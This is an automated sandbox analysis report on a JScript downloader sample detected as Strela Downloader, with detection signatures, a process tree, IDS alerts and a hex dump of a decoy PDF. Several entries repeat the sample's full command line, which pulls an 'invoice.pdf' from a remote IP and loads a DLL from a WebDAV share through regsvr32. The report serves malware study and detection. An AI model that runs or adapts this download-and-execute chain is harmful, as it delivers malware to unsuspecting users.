Edit tour

Windows Analysis Report
1574285771252416900.js

Overview

General Information

Sample name:	1574285771252416900.js
Analysis ID:	1588842
MD5:	e20f6a103e9e080bc554d7d5c5cc4c60
SHA1:	fef722936aa6fde09d8ec1926bc341bb2d0aca1d
SHA256:	9feda0f1074eb6a22c069b2079f9bf43b39372004066722da1d248e237db2bb7
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 6908 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1574285771252416900.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 3684 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6036 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3060 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7196 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7408 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7600 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1592,i,1124038482124866713,3683872806393719021,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7212 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7240 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7484 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 6908	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3684, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3060, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3684, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3060, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1574285771252416900.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1574285771252416900.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1574285771252416900.js", ProcessId: 6908, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7240, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1574285771252416900.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6908, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, ProcessId: 3684, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1574285771252416900.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6908, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, ProcessId: 3684, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1574285771252416900.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6908, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, ProcessId: 3684, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1574285771252416900.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6908, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, ProcessId: 3684, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1574285771252416900.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6908, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, ProcessId: 3684, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1574285771252416900.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1574285771252416900.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1574285771252416900.js", ProcessId: 6908, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3684, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3060, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7212, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7240, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7484, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7212, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7240, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1574285771252416900.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 6908, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57911885311171.dll, ProcessId: 3684, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:12:09.647664+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:12:12.619354+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:12:09.647664+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1574285771252416900.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1574285771252416900.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:12:09 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
